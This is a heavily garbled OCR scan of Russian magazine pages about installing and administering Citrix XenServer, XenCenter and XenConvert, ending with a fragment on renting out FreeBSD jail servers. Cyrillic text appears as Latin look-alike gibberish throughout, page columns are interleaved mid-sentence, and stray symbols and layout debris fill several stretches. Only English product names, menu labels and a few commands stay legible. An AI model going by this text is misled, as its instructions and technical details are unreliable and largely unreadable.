cOOcrBeHHo ~HnOB, n03nOlUlIOll.\HX yCTaHOBHTh
CTOIfT YKa3aTb I1CTO'-lH}II() H KOHnepTHpOBaTb
llIeJ1JI 11 T.,ll.. HWiero CJIQ)I<Horo JAeo> HeT. ,ltocra
HJfH OGHOBHTh XenServer, Hax(),l{WTOl HHCTaJlJl1ITOP
YCTaHoBJIeHHYtO H3 KOMnblOTepe DC B VM . .n:aJTee
TO'l"HO 6a30BbIX 3HaHHH, ~n·06h1 caMOCTOHTeJIbHO
KOHC0.J1H yrrpaa.leHllil XenCemer H napaBHpTyaJIb
MacTep npe,llynpe,lUlT 0 10M, 'UO Bee Z!.aHHble 6y
COpHeHTHpoBaTbOl B Ha3Ha'ieIDU1 napaMeTlxm.
Hble PVD',lI;paHBepa IJ.lIR- Windows, ll1l1OC,ll;DKj'Me.HTd
1J.YT yHH'lTO}KeHbl. nO,l:lTDepil(.zJ;aeM Hall BJ:>I60p
B ;U060M nymcre Heo6xo,n;HMO JiH.Wb 3anonHI1Tb
UH.fI. Ea BTOpoM - CKOHtPmypHpoBaHHhUt maMoH
npHHHMaeM JlHUeH3HlO. ECJm eepaep He nOMe
npeAJIO>KeHHble napaMeTpbl, OpHeHTl1pyHcb Ha
p>KlfBaeT TeXHORorHH Intel VT/A!vfD-V, l1JlH OHM
BIlOJIHe nOIDI.THhle no,n;CKa3KH. ,lln.n Aocryna K Ha
(templates), He06xo,ll;HMbrn AJlH nQMep}lOO1
mere·
H
J3bIX Maunrn Linux (Debian Sarge!Etch).
OTKJIlOtteHbI B BIOS, nORBHTCK npe.zlynpe:lK,lI:eHHe
CTpoMKaM, Tpe6)'lOll{HM npas aAMHHHCTpaTopa,
CaM npou;ec:c yc:TaHOBKH XenServer
o pa60Te XenServer C orpaH~f'JeHHoH ¢YHKl..\HO
nOTpe6yen:R BBeCTI1 napoJIb root. ECJIH Ha :ITane
HecJJ.WKeH Ii He
CKOJIbKO HanO:MHHaeT YJIPOUleHHYJO HHC1CIJJJJ5IU11}O
HaJIbHOCTblO. Bbl6Hpaet.1 3aTeM HCTO'l"HHK yCTa
Lit)llX. nOMHH: nee p;aHHble Ha I'UiCKe 6y~YHJ1'fI'O}f<e
HOBKH -
npHBoA, NFS HJlH HTTP/FTP. CHCreM3
YCTaHoBKH He 6Lmn npoHHCTaJ1JIHpOBaHbl naKe Tbl co BToporo ,lI;HCl<a, 3TO MO>KHO CtJ:enaTb nOCJIe
,lJ,Jui 3Toro B MelllO BbJ6HpaeM «Local
Hhl,pa3pat501"tnmHepeKOMeHA)leTHC110JIb30BaThABQi{
cnpocHT, Hcnonb3013aTb Jrn: B npouecce BTOPOH
YCTaH08KH.
I-JYIO 3arpY3.Ky, a ffiICTaJlJDffOp He HMcer HJ1I<aKI1X AJlR
AHCK, OTMCTHB, 'ITO
Command Shell}" BBO,llI1M napOJ!b roOt, BCTaBJlReM
:mlIUHHCIpyM:eHTOB(rrmq)3fu!eH?lepe,BI1,ll.l1MblX).
Aep)J(]m Intel VT/AMD-V B Ka'leCTBe rOCTeSblX
,I:lHCK, MOHTHpyeM ero H 3anYCKaeM HaxOtvIIIJ;HHC51
3arpYJKaeMCll c install-cd (KpoMe OGbI'l"IIOH,
CH;CTeM MOryr pa60TaTh 'roJIbKO roneBbie Linux.
BHyrpH CKpHnT install.sh:
MO)J{HO HCllonb30BaTb H yCTaHOBKy PXE).
B
B
CJI}"-1ae OTtyfCTBHH: TIOA
Linux-,llHCI< nerKO YCTaHaBJIIt1BaeTC1I If B y>Ke pa
nepBOM OKHe 6y.n:eT npe,ll,JIO)KeHO BblGpaTb pe
60tIeti epe.Ae (lJ.)'Tb,ll:aJIbIlJeH nOKa>Ky, KaK3TOC.Qe
" mount /dev/cdrom Imedia
>KHM -
06b1QHblH (Standard) HlIH npO,ll;IH1HY
JIaTb). ITpoBepKYHOCHTeJleJi MO)f{HO nponyCTHTb.
TbJH (Advanced). H<UKIiMaeM <Enter>. B oKHe,
BBOt\HM napOJIb nonb30BaTeJUI root, ceTeBble HCI'
" cd /media ./install.sh
nOJlBHBWeMOI nOCJle
CTpOHKI1 (DHCP, -
sb160pa KJlaBHarypHoH
JIH60 Bpyt:rH)'lO nponHCblBa·
eM IP-a,ll:pec, CeTeJ3YJO MaCKY, IllJJ103, DNS,ccpBep
,llIUI ynpaa.1eHHJl: BHPTYanhHbIMH MaIlIHHaMH IIpCJI
AeJIIITbCH: C AanbHeHwllr-m aei'lcTBHJlMH. Co6c
H HMJI xocTa). llpu'IeM, KOr,ll:a nnaHHpyeTCR pa
naraeTCH: KOHConb a.lI,MlIHHcrp<1TOpa XenCenrer.
TBeHHo, ,lUIJI yCTaHoBIill HaM H)')O'eH npeAJIO»teH
60Ta oyJla cepBepOB, Heo6xotJ;I-fMO Hcnonb30saTb
YcraHOBHTb XenCenter n03MO)J(HO Ha JII060H KOM
HbIH no YMOJlQaHUIO sapnaHT «Install or upgrade
TOJTbKO cTaTH'IecKHH IP-a,llpec! OCTaJlOCb 3aAaTb
IIbIOrep, pa6oTa1OI1(l1H no~ ynpa81IeHHeM Windows
paCKJIa,ll;I01 (H np€,lJJlO'le.-l
XAKEP OS /1251 09
us), npeAcTol1T onpe
~
125
» 'r:::fFf
_t.:-o
"'-to
-
.--' _-
.
'C!~_._
'C!lfb;x.,;c."...i.
......
• _ _ too _ _nlho">flr.._
.;:..
I
~-::E:;~=-:=..
0_ 0_ 0 _ 0 __
---:==- -_3 1 _". I o_ _.._ _ C:~_~-
'"
=-,,=,.=::.~..,-::'":'
=.-...........- - - ==:::~"'...' 7=
0 ......._
<>_"'_""'G 0 •• ~r-:::;--l
nporpaMM3 XenConvert KOHsepn'pOS3Tb B B\t1pT)'allbHbl~
~
r-::::::=::-;
Windows-cl-lCTeMy
'1
npo~ecc Ao6aB11eHI1Sl
AI1CKa npLil C03,AaHI1I1 VM
06.fl3aTeJlbHOe HanH'lMe
OTMe'laeM ..Other install media», HO B3TOM cnyqae 06 OCl:IOBHhLX
.NET Framework 2.0 HJIH crapwe. ,lJ,Hcrpl16yrnB XenCenter MO)K
HacTpoHKaX npHAe1"Ol 3360rnTbCl'l CaMOCTOHTeJlbHO. EcnH ycra
HO CKaqaTb no CCbIJlKe Ha came npoeKTa WlH B31ITb H3 KaTaJIOra
HOBJIeR BTOpaH tJ;HCK, npM Bbl60pe Debian BMprya..lbHaH MaWHHa C03,!];aeTCJl B~HMe«ready-to~use», TOecTb 113 BCTpoeHHOro wa6 JlOHa. B ocranbHhlx cnyqM.X nOHap.06HTCK ycraHORO'lliblH,D,HCK C
, links
H 4.x, no,a,ll,ep}K}(}' KOTOPOH He06xo,!l;HMO nOAKJllO'lHTb Ha 3T3ne
CHCTeMoH.,aarree J3BO,ll,HM Ha3BaHne VM HOfiHCaHI1e, 'lT06bIJIe['lje
• Be6-pecypc. nOCB~
ycraHOSKH. B OCTarlbHOM npou;ecc HHcraJ11liII.l;f1:H C'J.'aHll:3pTeH.
XenServer
SepCl-1V1 -
Y!JY'IW
no ero OKOHtfaRJH1 R.PJIbIKAJUI 3anyCKaXenCenter nOMem3eTCJ'l B MeHJO <.nycK». KpoMe TOro, cXenCenter 6y,!J;eT COOOCTaBJleHO He
6blJ1o OpHeHTIfpoeBTbCK B HB3Ha'leIDIH IIp" 6oJIbwOM KOJI~ee· VM. Ha liare Location YKa3bIB3eTC51 HCTO'lHHK, CKOTOporo 6YAeT npoUSDO,llHThCH ycraHOBKa. EC.J1l1 Bbl6paH Debian, Macrep
TBe
eKOJibl<OTHnOJ3<Pai1.noD:
era nponycTl-tT
• xbk-4aWrbI pe3epBHOM: KOITHHXenServer;
KOJUf'leCTBO CPU H 06neM BHpTyatlhHOH [laM.JI'rn, KOTOPblH 6y,!l;eT
1I.
nepeH,a,eT K CJIe,n;yIOlQeM}'. Tenepb YKa3bIBaeM
• ,l],oKyMeHTaLJ,I1KJ
• xsupdare WlH xsoem -¢afiJIbI 06HOBJIeHHH WlH naT'lH
Bbl,lleJIeH nQll, H)l>KAbl VM. Ha 3TOH)Ke CTpaHHUe, BnOJIe BHH3y,,lVIJI
[Ha aHrnl-1i1cKoMJ no
XenServer;
opHet-mlpOmffiBbIBO,$ITOl ,l(aHHble cepBepa -l(onH"'l€CTBO CPU,
pa60Te c XenServer
• xslie-q:.aHnJlHu;eH3HH XenServer;
06m:HH HtJ;OCJYT1Hblli A-bI VM pa3Mep naMHTl1. ,aaJlee nepeXOf.lHM K
HaCi,ll,eWb no 3,ll,pecy
• xva-wa6noH I1Jlli 3KCnOpTVM;
3Tarry <<Virtual Disk». KaK BHJ];HO 113 Ha:maHH.fI, npe.acroHT C03,!J;aTb
docs xe nsou I'ce.r:,gm/
• xenseareh - pe3YnbTaTllOHeKa.
Blwrya.nbHhrn ll:HCK,l{.AA VM. EcnH OC Bbl6paH3 113 wB6.noHa, CKO
XenS~rver/5.00.
I1HTepq,eHc XenCenter He JIOKaJlH30BaH, HO, ytlHThIJ3a.R, 'ITO HC
pee BCero, MaCTep npeAJlO)KJIT onTHMaJIbH)'lO. no ero MHeHHlO,
rrOllb3YJOTCH CT3.H,ll;apTHbre TepMUJibl, npu 6a30BOM 3HaHHH aHr
KOH1>mYPaI.\lno. TaK, Il/1fl Debian 6y.lleT C03,llaHO tJ;Ba pa3.lleJIa:
• Ha pecypce VM Guru
JIHHCl<oro pa306paThOl CHacrpoHKaMH HecJIO>KHO. npH nepBOM
0,5 H 4 r6. npH He06xOll.J.tMOCTH HacrpoHKH MO>KHO H3MeHHTb.
eCTb MHoro nOne3H014
mOnoqeHHH nOf£BHTCR OKHO c 3anpoCOM Ha 3anper HllH pa3perne
l..lT06bl i'l,068..BHTh eme CI,ll;I1H pa3AeJI If.DH lOMeHJITb HacrpoHKJI
Bl1pry311l.-l3aUl-H1l-l BlIIp
ffife nepHo,lUfleCl<OH nposepKH HaJIH'IH.fI 06HOBJIetUfH. 3ly Ha crpoih<y nOTOM MOIKHO H3MeHHTb, nepei-iNl: BTools -7 Options-7
..Disk Settings» BDOAJ.1M H)'>KHbltJ pa3Mep pa3,1l;eJIa (r6). YcraHOB
TyaJ1bHblM MaWI1HaM
Updates. OcHODHoe OKHO KOHCOmipa36I1TO Ha HCCKOJIbKO qacreH
KOH:¢J1a)f{}<a .<Read Only» MOIKHO 3arrper1ITb 3aruICb. AHanofW.£Ho,
- \'lWw.vmg.IJ.I.I.!.
11 BblrJlH,IOIT, l<al<ApyrHe nO,l:\06Hble nporpaMMhl. Cneaa DOA MeHlO
Ha c:JI~1l{eM ware e03llaeM J3HpT)'atlhHbIH CeTeBOM: mrrep¢eik
\t1Hepbl
no TeXHonOntSlM
pacnmlO)f{eHa naHeJlb pecypcoB -
e
~
3,IleCb HaxOMTGI Bce cepae
BCe,ll,3HHble npl-1 yCTa
XenServer 6YA)'l
TeI<}'lUero, HMillMaeM COOTBeTCT8€HHO Add HJlH Edit -
Ii B OKHe
Ha>l<HMaeM BnOc:JIe,llHeM oK}le KHOtu<y «Finish» 11 0>KHAaeM, nOI<a npo~ecc
pa XenServer, K KOTOPblM nO,L{KIllO'leHa KOHcmlb, 11 ca33aHHble c
38KOli'H1T01
HI1MH BHpTya..lbHblC M3WHHbl 11 op. nocrre BbJ6opaJHo60ro nyH
TaHOBJlCH 4v!IDKOK .<Start VM automatically», OOCJIe C03.Ll;aHllil VM
C03tJ;aHH.fI BHpryanbHoH M3WHHbl. Ecmt ye
KTa B OKHe cnpaaa nOKa3bIBalOTCfI ero TeK)TIi.\He HacrpoMKH, He· KOTOpbIe 1131-lHX MO)f{lIO 113MeH.HTb. l.Jyrb BhllUe HCIA naHeJlbfO pe CypcOB HaxC!A1ITOl n<JHeJlb nOHCKa., anO.D;HeH -«Saved Searches Panel", r.n,e MO>KHO HaHTH Dpe,a;ycraHOBKlI,Will nOHCl<a cHcreM no Onpe.D.eneHHblM KpHTepIHIM.
warning
HOSKe
C03AAEM VM ,lVrnnOAKJIlO'leHHH KyCTaHOBJIeHHOMYXenScrver
Citrix
Essentials for
Ha>Kl1MaeM KHonKy «Add your XenServe()" BBO,ll,HM HMR HJHI IP
YHlil4To)t(eHbl. Pa3pa
a.n;pec y3JIa, .D;aHHhle nOJIh30BaTeID1 root H)KMeM Connect. t:jro6hJ
OAHOBpeM eHH 0 c a HOHCOM XenServer KOMnaHl1fl
50T'-II1K He peKOMeH
npH nOCJIeJI.YlOw;eM 3anyCKe KOHCOJIH Bbl6paHHblH cepBep nOJ:l
Cilrix npeAcTa BVlJla HOBoe ceMeCicTBo npOAynoB
KJIJO<Ia..1CK aBTOMaTlI'leCKH, B nORBHBweMOI OKHe ycraHaBJIHBa
Cilrix Essentials, n pl-1yeM cpa3Y B,i:lBYX peAaKI..(I15iX
eM ¢ma>KOK «Save and restore server connection ... ". n pH HanWIHJ1
- Citrix Essentials for XenServer [www cltnx.coml
AYeT \.o1cnOnb30saTb
I'
HaCTpo~Ka Bl1pTyBl1bHoro
ruITOH, nepctlH XenServer, KJIHeHT 06ecne'lHB3eT ynpaBJIeHJfe
XenSN,{§,J:.S.COrn.
,1
HOBoro storage reposi
L----O"J
dienUnstali nepBoro yCTaHOOO'IHOrOAI1CKa. KpoMe nOCJle,lU:IeH,
5-Ci
I
C&O=
=1
tory AOBOJlbHO npocT XP/2003/Vista. CpeAH 1'p£60saJ-UtH
w.eHHbICi
~
=
~
=-9F1
::?:-.:::::,..;.:-.:.:-:o..:::~
n03BOIHIeT
06pa3
-
=.'E:....;=~::;...-;:;t=--~
ABOi1HylO
3arpY3KY.
HecKOllblillX cepBepOB 31'0 33MeT.H0 ynporn;aeT ynpaaneHHe.
,lI,.Im 3a.IUJ.ITbl OT HecaHKI..lHOHHpoBaHHoro tJ;ocryna 1< cepBepaM
sscntiiJlsxsll-1 Citrix Essentials for Hyper-V lwww_
cllnx comlessenlialshvl. HOBbie peWeH\.1>1 [pacnpo
CJIe,ayeT YJ<333Tb «master Password», yCTaHOBHB OMiOHMeHHblH.
CTpaHfllOTCfl y>K€ Ha KOMMepYeCKOCi OCH aBel BKnlO'-la
¢Jla>l{OK HBBe.wt ero n03anpocy.
lOTS ce6Sl Bce He06xOAI1Mbie l-1HCTPYtv: eHTbl An~ 06ec
'Y:T06hlCOJAaTbHoBj'lOBHpTyanbHYJOMaWHHY,Ha>KJlMaeMKHooK)'
neyeHI1l=lJaKOH'-leHHcrO lfAKna BBoAa n pV1J10)f(eHl-1~ V1
«NewVM». 3anyCTHTCf1 Mac-rep, KOroPblH33 6-7 maroa C03l\aC'fBCe
BV1pryaflbHblX MaWI1H B npoMloIwneHHoe np"uo1 eH€Hl-1e.
He06xotJ;HMble HacrpofhGI. 1{IlaDllllla <Fl > HanlO60M ::rrane n03
05ecnC"'ll-10aeTCSl nOCTpOeHf1e High availability pewe
BOJUIeT nOJl)"lHTb COpaBKY noJJ;aHHoMy nYHIcry. BHpTyaJIbHble M3'
HVli1: ynp0ll.\eHO C03AaHLile CKpl-1nTOS no ynpas11eH V11Q
ilIHHbICO~alO1'CRH3wa6noHoB(templates).Illa6Jt:olffi»€.UCTaBJlJJ
cpeAoCi BVlpTyaflV13allV1lo1 tCitrix WorkFlowSludiol:
er c060H 06pa3 C11CTeMbT co BeeMH He06xOlU'lMbtMH HacrpoHKaMI1
peall >130 BaHa ,AOCT,JSKa no Tpe6oBaHVllO pa60'-le~
VM. 3To 3aMenrO ynpow;aeT npoQe<:c, TaK KaJ< nOJibJOBaTeJIlO He
Harpy3Kw cepBepos 8 8l-1pTyanbHylO cpeAY lIl:1111 Ha
H)'>KHO pa3611paThCR CTOHKOCfHMH. Ha nepOOM ware Macrepa KaK
ep!ll31-14eCKVI€ ce psepbllCitrix ProviSioning Server!:
pa3 ~l Bbl6HpaeTDI rna6noH DC 113 npe,l.VIO>KeHHoro cnue.t<a one·
npeaYCMoTpeHo YlcnOJ1 b30SaHltI€ B03MO>KHOCTeii!
paQHOHOK. Ecnl1 npe.ll;nO'lI11'aeMaJi CHCTeM<I B HeM OTCyrCTByeT,
ceTeSblX XpaHl-1lll-1l1.\ Ad HHblX (Citrix StorageLinkJ.
-..:-------.,1
.126
XAKEP 05 /125/ 09
{I
,.
.-m
';r:·-"-"I.---~-""',"! =::.:'"
;.>
Go:tOI1U . . O>NoOSU
_u~
• _ _ '.0 .a.;.............
....,
~.~.': coo_.~
_ " " " " , ... h ... _ _ .. _ .
•
KOHconb
a,QMliIHl>1CTpl'lpOBaHi1~
XenCenter
P2V KOHBepTMpOBaHMe B nonasKy XenServer BXQAl-1T seCbt... a nOne3Ha51 YTliIJ1l-1Ta XenConvert.
5YiJ.YYlA
3anyU\eH HOI1 Ha Windows MaWl-1He, OHa npeiJ.OCTaBn~eT B03MO)l<HOCTb KOHsep Bbl60p onepau,~101 80 apeMSl
yCTaHOBKIo1
XenServer
HlpOBaTb pa604ylO CliICTeMY s VHO-¢opMaT i1J1i1 XVA-06pa3, n03BOJl5lIOUJ,l-1~ l.1MnOpTl-1pOSaTb ee Ha XenServer. CaM npou,ecc AOCTaTOLJHO npOCT: yK33bJBaeM Ha pa3Ael1 AI'lCKa. rp,e YCTaHOBl1eHa OC,II\ KaTanor p,Ml 05pa3a.l.ITo6b1 KOHBep
6Y.QeTcpa3y 38nyw,eHa. Boryqae c Debian BBO,I].HM IIapoJIb n0JLb30
mpOlJaTb Linux-cepsep. cneAyeT 3arpY3l>1TbCo;, c YCTaHOBOYHorOAlo1cKa, B MeHKl
M:remJ. root 11 VNC H yr<a3bUlaeM HM51 y3Jla. nOCJIe C03,ll;aHH}i Jouoqa
KOTOporo Bbl5paTb nyHKT«Convert an existing
SSH BHpTyaJIbHaJI Ha craT)'c
CHCTeM8
6Y.ll.eT
V!v1 YKaJblBaer era 3Ha'lOK.
ECJlJ1 OR 3eJ1eHOrO 1..lBeT<l,
&It<an IT BOCCTaHOBJIeHHe Bcero cepBepa np0l13Bo,a,HTOI H3MeHI0
-7
Back Up Server/Restore From Back Up'"
3Hat urr, BHpTyailbHM MaumH8 3arry:rQeHa H pa6o'raer. CHHIDf
«Server
npHocraHOBJleHa, )f{eJJTblH -
YT06bl rrpoCMOTpCTb rpa<pH1GI 3arpY3KH
npeMeHHO He,Il;ocrynHa (HanpMMep,
nepcrpy»<aeTOl), KpaCHbIH -8h1Ko1iOtIeHa. nQll:pOOHoe OffiIcaHHe OIlD16cll{ MQ)f{HO HaliTO B )l{ypHane.
as on this machine to a VM (P2Vj».
nOJIHOCTblO i'OTOBa K pa6crre.
KOTOphIH OTKJ'biBaeTCfI rrepe
X(),lJ;OM 80 BfUl<l,1lKY Log.
CPU. RAM H
CeTIf ,lVIR
OT,ll,eJlhHOH VM rum Dcero cepBepa, OTMeTb Hj?KHblH B TIaHeJIH pe CypcDD Ii B Cpe,l.{HCM OKHe nepeH,/l;H BO BKJl8AKY Performance.l1c 1l0JIh3yH cCbV1.Ki1 BBepxyQ}rna, )'Ka3bIBaeM BpeMeHHoj;j npoMe>t<y
'-ITOGbI H3Mem1Tb KOJU1QeCTBO Bl1pTyallbHbIx CPU, CJlelJ:jeT
TOK, 3a KOTOpbTii 6YAYTnOKa3aRblrpaepmm.Y6paTb WIII,a,06aBHTh
~
ObI3saTb OKHa Cl::lOKCTS, BblGpaa D KOHTeKCTHOM MeHiO nYAKT
peCypc1>I, H3MeHHTb nopMOK BblBO,ll,a rpa<pHKOB MO>KHO B OKHC
• lho6bl y3HaTl>
Properties.
info
BO BKlIatJ;I<e
«ConfIgure Graphs>' (BbI3blBaeTCJI nOClle Ha>KaTiffi O,lU-lOHMeIIIiOH
6011bwe 0 Microsoft
«Memoryand VCPUs». nO,13YHOK«VCPU priority .. "n03BOJUleT
KHOJTKH). BH,ArpaqlHKoB (miHHR rum CrutOWHOH) HaCTpaaaaeTCR
Hyper-V. 4l>1Tal:1 CTaTblO
YCTaHoBIHb npllOpHTeT tVIH TCl<}'ll\eH BliPTyanbHoH MaUlHHbl.
nMeHIO«Tools
Hy>KHble HacrpoHKi1
HaXOp;lTOI
«rlilnepaKTl>1EJHao;,
-7 Options -7 PenormanceGraphs».
Bl-1pryaJ'lbHOcTb».
LIpyrue Bl{lIa,'J;Im Properties TalOKe CO;:I.Cp)l(aT nOJle3HbIe H3 crpOHKH. TaI<, B ,(Startup Options» 3a.o;aJOTC5I;a;OnOJIHHTCJlbHbl.e
ynPABnEHHE PEn03HTAPHHMH XPAHEHHH
napaMl::TpbJ 3arpY3KI-t. YTo6bl nOJI)"-laTh npe.ztYIlpe>K,D,effWl,
n03;:I.HO 8AMI1HHCTpaTOp CTOJIKHeTCJI C Heo6xOAHMOCTblO yn
¢eBpaJlbCKOM HOMepe
eC.rJH napaMeTpbl ,&ocrnrHyr KpHTH4ecKoH OTMeTKH, ClICA)'eT
P3BJ1eHHR HCTO'IHHKaMJi AaHHbIX, B TepMHHOJlornH XenServer
3a
a 3aTeM aKTHBl1pOBaTb Flj?KHbl}1 nYHKT (CPU, CeTb U ,&HCK), 3a,ll3B ypoBeHb H nepHOAH'IHOCTb npOBcplm. nytHIT Alert ecn H n HacTpoHKax CBOHCTB KaIK,'I;oro Bllp'ry
HMenyeMbIX Storage Repository (SR). nOCJIe ycraHOBIUf cepne
nepeHul BAlert,
PaHO lUI"
ony611VlKoBaHHYIO s
2009 rOA. QEMU
pa 06blljHO .nocrynHbI rpH: BH,lI:a SR, COOTBeTCTByroUJ;HX npHBDAY
• 063My.n51TOpe
KOMnaKT-,ll,I1CKa, iKeCTKOMY p;HCXY H no,t~I(JUO'IaeMbIM ycrPOHC
4l-1Tav.
aJLbHOrO cepBcpa. )J;onOJlHHTeJlbHO B Properties cepsepa npll
TBaM. YCTpOHCTDO, nOMe'leHHOC '1CPHhlM :m3'IKOM, HBJlH.eTCl'I SR
ryanbHblv. nOJllAroH))
c}'TcTByeJ' BK.Il3AKa «Email Notifications», rAe YKa3bJBalOTCfl
no yMOJI'l3HHIO. TaKoe YCTPOHCTBO JICITOJib3yeTCl'l ,lVlH xpaHeHHJI
OKTrl6pbCKOM HOMepe
HaCTpoi1.KH rrOQTOBoro cepaepa, llCnOJIb3yeMoro ,lVlH OTllpas·
q,3tiJloBXenServer,3BapHHHoro;:I.3J.,ma,06pa3oBocr3HoBJIeHHbIX
I
KH npe,lI,yTlpelKJ.'CmlH. KpoMe Toro, XenCenter npe,llOCTaBJrneT
VM. 3To)l(e yCTpOHCTBO 6YAeT npe.lVlOIKeHO no yMOJI'taJ-HUO np"
B03MO)f(HOCTh <popMHponaHM OT'ICT3 no pa60Te cepaepa. ~}]Jt :HOro nepeH,lIl1 B «Tools
-7 Get Server Status Report" Ji npM no
B
CTaTbe «8l>1p~ B
Ja 2008 roA.
C03~HHH HOBOHVM.,1J;06aBHTb HOBOeSRo'leHb npocro. ,lJ,;m:no
• npou,ecc KOHBepTVl
ro HiDKJlMaeM KHonry «New Storagc>, B rJIaBHOM OKHe nporpaM
pOBaHl1fl epl-13l>14eCKOro
MOl.I.l)1 4-uraroooro Macrepa c03,&ail OTljeT, oTo6paB H)l)KHblC
MbI rum <,New SR» BO BKJlatJ,Ke Storage Hb16paHHoro cepBepa. B
cepBepa B BVlPTY
.ll:8HHbre.,lVlR Y,ll,06CTSa rrOHCKa BHPTY8JIbHblX MalllHH 11 cepne
nepBoM OKHe OTMe'laeM THn ycrpoilcma xpaHeiillR, EO BTOpoM
aflbHbll:1 Ha3blBalOT
pOB HCnOJIh3YlOTCR TefH. ~JHI KmK,lI,OrO cepBepa MHVM OHH Bbl
YKa3blBaeM ero MCCTOpaCUOJlOiKCHHC. nOCJle p;06anneHWI ,lIaH
Physical to Virtual
BO,lVlTCJt B General, B nOJIe Tags. LJ:T06bl ,lI06armTh HOBble TerH,
HhIe 0 HOBOM SR nORBJlH.IOTdIB naHeJIll pecypcoB. O,l(HH SRMOiKeT
Conversion lP2V).
Ha>KUMaeM cChmKy«New tags» H SBO.ll:HM B OKHe HX CITHCOK.
l1CfJOJIbJOBaTbOI HeCKOJlbKHMH cepl3epaMH XenServer.
n pH nOMOI.l.lH rryl-HITOI3 I<QHTeKCTIIoro MCHIO CQ3D3HHYIOVM MOIK
HOBblH mqITyaJlbHWii AHCl<,lVlH KOHKpCTHOH VM C03,1I;aeTCJI HJOI
HO KOrIHposaTh, 3KcnoprnpoBaTb KaK pe3epSH)'iO KOORIO MM
nO,llKJIlO9aCTCH BO BI(JL8,/],Ke WII1 B MeHlO Storage. ,lI,ocnHwlHo Bbl·
CKOHBcprI1pOBaThBIlIa6noH.3'Ton03BOJIfleTnpHHe06xQll.HM0CTIf
6paTb«Storagc
6bICTPO c03,l\aTb HeCKOJIbKO cepBepOB CO CXOIKHMI1 HacrpoH:KaMH..
nO,llIaUO'lI1TbB«Srorage
-7 NewVirrual Disk>" )'Ka3aTb eropaJMep, 33aTeM -7 Attach Virtual Disk>'.I
~;1t-+ XAKEP
os 1125/ 09
~127
0AJU1 Ma eM CepBHC no CAaye B apeHA¥-BJIIPI.}GUlbHblXEr.e.eBSD-cepBepOB I
CerOAH51 Mbl YBVlAVIM B03MO>KHOCTVI FreeBSD jail B HeCl-<onbKO Heo6blYHOM
'I
CBeTe - C03AaAVlM cepBVlc no CAaye B apeHAY BVipTyanbHblx FreeBSD-Ma WVlH. OH 6YAeT nonHOCTbfO aBToMaTVl3V1poBaHHbIM, n03Bomn Vlcnonb30 BaTb pa3Hbie BepcVIVI BVipTyanbHblx oKpy>KeHVlVI Ha OAHOVI epVl3V1yecKoVi MaWVlHe VI o6oco6neHHbie HaCTpoVlKVI An51 Ka>KAOrO cepBepa. V1 Bce 3TO CnOMOLl.\bfO HeCKonbKVlX npocTblX wenn-cKpVlnToB .
•
OAI1H 113 CnOC050B
nOAH~Tb
npo<..-ro 3aI'HeTCll, KQrJJ;a KOJll1'ICCTBO BHpTyMbHblX
/usr/jailbase/FreeBSD-eepcHJI.
cepBepoB nepeBaJIHT33 nepBWHAeC5ITOK. OOOTOMY
2. 11 OllroTaBJIHnaeM Ha60p CKPHnToB, KOTOpblC
u ~
~
$$$ B KPI1311CHOE BPEM~
z
FreeBSD-MaIDHHa-31'OHe'I'IUHHoe, KaKnan
ncpCA pa3Bcp-rbffiaRHCM H HaHMOM SEO-llIHHJ<OB
6YiJYfynpa8JlHThBHpTyaJIbHbIMllcepaepaMH (co
~
HexpYH~HOHaJIhHoejail-oKpy>KeHHe,KOTOIXJMy
He06xoll,HMO TIUaTC1IbHO npotJYMaTb 6yl[yll{ylO
3tl3HHe/YAaneHl1e, 3a nycK/ OCT3HOBKa H T. JI..)
BhVl:e.neHmo6a..lbHoMapurpyrn3HpyeMhIil:IP-<U\pe<:.
HH$paCTpYKTYPY. Ana HaqaJIa ctPoPMym'lpycM
3 .l1HWe:M HHHI.\Ha..1 i13al.{J.IOHHbl t"! CKpHfIT, KOTOPblH
3a,ayMKa cepBHca B TOM, 'IT06bl Pa3,QaBaTh1<U<l1e
Tpe60BaHIDI K H8weMYcepBlfcy:
6y,l{eT 3anycKaTb Bee cyrn:ecrBYJOLI.{He oKpymenWl.
OI<pymeHlm H3 MaHep HOMepoB II OTeJIe. fUTHeHI'
KpOMe caMoro FreeBSD-ot<py>KeH WI, R nOMeCTHJI B
<PopMhI, nepeBOAlIT'I)'1'Ol(WMZHa HaIl..I KOllleJJeKl1
1. BbJAeJIeHHblH IP-3,ll,pec HD,OMeHHOe HMRll,JI}I KIDK,lIOro OKpy>KCI-IIDI. I1f1.Ul Bbr6HpaeTCH. K.nHeHTOM DO BpeMR 3aITOJIHeHro! ¢>oPMbI Ha HaweM CaHTe, a
~
BHpTfaJIbHaJI
aaxoATITHa caifr, 3anOJIHRer Heo6xCWiMble ITOJUI
KaT<l.>lOr /usr/jailbasecLI.{e HeCKOJIbKO KaTaJIOrOB H
KOH$f.lrypmJ}iOHHblX ¢ai1.nOB, neo6xo,ll;I1Mh!X lVIH
n~aeTDOTBeT IP-a,npecCBOefocepnepa,,l.\oMcH
IP -a.a,pec H3BJJeKaeTOt H3 cneU;HaJlbHorO epaii.na.
N-oro ypoBID! Hnaponb/KJllO'I Kssh-eepBHCY. Oocnc
2. 110JTHaR CBo60,a,a KJIlleHT3 BQTHoweHl1H jail~
ynpaancHHll BHpT}'MbHblMH cepaepaMH: • /usrIjailbase!FreeBSD-BepcHl1-'mCTa.ll c60pKa
qcro OH BQJIeH ,l{enaTb co CBOUM OKppKCHVleM Bce,
oKpy>KeHlffi. 3ToSHa'UIT- HHKaKHX unionfs H
FreeBSD, KOITHPYClTII BKa)K,lI;Oe OKpJ?KeJUle ITpH
'fTO~e3a6JlaropaCCYAHTCR-JX)8HO.a:01'Oro
nullfslVlli Bcero, KpOMe apxHBa nopTos. Bo Bpe.M)I
ero C03AaHMH.
MOMeHTa, rrOKa He HacrynHTl:lpCMH C'he3)KaTb, TO
COMaHIDI HOBOro cepnepa OKpy>KcHHe nOJIHOCTblQ
·/usr/jailbase/distfiles-nepCIDl-MOHTl1PYeTdi
ecThHCTe...eTepoKapeH,ll,b1,}'Iffi3aHHbli::fKJrneHTOM
1< /usr/ports/distfiJes KCl)f(.z:lOro Of(pymeHIDI npH
BOro-IOM l13n<lIIeH pemClpaw'IOHHOf'l cPoPMhI. no HCl'e'leJoJJ.U03TOrocpoKacepBCpOCTaHaB1IHBaeTC.IIH y,n;8JIReTClI.
KomrpyeTC51 H3 cneQHMbHoro KaTMora. 3. 06ll.\He KaTaJIorn/usr/ports/distfiles 11 / usr/porrs/packages,lVlR BCex UKp)')KeHHH.> 'JT06bl
nOMOlUH nullfs.
DOPT, sarpy»<eHHbIti Op,HHMH3 KJIl1eHTOJ3, aBTOfl1a
